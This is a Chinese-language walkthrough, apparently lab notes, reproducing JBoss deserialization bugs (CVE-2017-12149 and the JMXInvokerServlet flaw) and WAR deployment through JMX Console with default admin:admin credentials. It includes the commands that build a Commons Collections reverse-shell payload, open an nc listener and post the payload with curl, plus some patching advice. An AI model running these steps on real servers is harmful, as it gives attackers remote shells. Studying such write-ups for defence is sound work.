该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
参考:
https://mp.weixin.qq.com/s/zUJMt9hdGoz1TEOKy2Cgdg
https://access.redhat.com/security/cve/cve-2017-12149
首先检测目录,访问链接(http://192.168.204.128:8080/invoker/readonly)
可以看到是返回 500,一般漏洞就是存在了
工具下载地址 http://scan.javasec.cn/java/JavaDeserH2HC.zip
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port //生成一个ReverseShellCommonsCollectionsHashMap.ser二进制文件nc -lvnp 2333curl http://192.168.204.128:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
建议用户升级到JBOSS AS7。另,不能及时升级的用户,可采取如下临时解决方案:
1.不需要 http-invoker.sar 组件的用户可直接删除此组件
2.添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中:/*用于对 http invoker 组件进行访问控制
这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet
请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。
参考文档:
https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
https://www.seebug.org/vuldb/ssvid-89723
http://www.freebuf.com/sectool/88908.html
https://paper.seebug.org/312/
JBoss在处理/invoker/JMXInvokerServlet
请求的时候读取了对象,整个过程可参考 jboss/CVE-2017-12149
,不再赘述
网上已经有很多EXP了,比如DeserializeExploit.jar,直接用该工具执行命令、上传文件即可:
admin:admin
以下引用Nmask: 访问管理页面,查看jboss配置页面中的JMX Console,这是JBoss的管理台程序,进入后找到Jboss.deployment包,该包下有flavor=URL.type=DeploymentSccanner选项。进入部署页面后便可以上传war文件,但与tomcat不同的是它不是本地上传war文件,而是从远程地址下载,因此需要自己准备一个文件服务器,用于远程下载war到目标jboss服务器上。具体方法是在部署页面找到”ADDURL”方法,输入URL地址,点击invoke。除了以上方法外,JMX-Console提供的BSH方法,同样也可以部署war包